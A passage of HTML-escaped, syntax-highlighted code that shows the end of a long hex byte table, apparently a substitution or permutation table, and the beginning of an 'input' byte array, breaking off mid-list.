style=&quot;color:#a5c261;&quot;&gt;0x85&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x30&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA6&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x07&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE4&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x72&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x96&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF9&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x16&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBB&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFD&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x08&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x59&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x70&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x45&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x00&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFA&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB6&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD6&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x18&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCB&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x27&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x76&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x97&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xEF&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x04&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xAC&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x46&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x11&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x06&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x33&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x93&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xAF&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xED&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x48&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x39&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x95&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x69&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x35&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x56&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x60&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x94&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xAA&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xDF&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x55&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x41&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x20&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x12&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFC&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBF&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x53&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x81&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC9&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x83&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x91&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xAD&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF6&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x75&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xDD&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x22&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x26&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x19&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xDC&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x24&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x86&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xEC&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x01&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD4&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE6&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x15&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x54&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x47&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xAB&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x17&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xEA&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x40&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0F&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xEB&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x23&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x44&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x6C&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x49&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBE&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x61&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA9&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x1B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC7&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5D&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFB&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x42&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x90&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xEE&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBC&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2E&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x66&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8A&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x80&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x58&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x68&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x36&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9B&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xF4&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x92&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x52&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7C&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x15&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xED&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xA6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x2F&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x56&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBB&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x13&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xEB&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xAD&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x75&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x56&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC7&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBB&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBB&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xE9&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB9&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCC&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x02&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x3A&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x50&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x9F&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x36&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x90&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x69&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xBE&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x7C&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x42&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x44&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCA&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x24&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5C&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xD2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xB9&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x24&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xC1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x18&lt;&#x2F;span&gt;&lt;span&gt;, 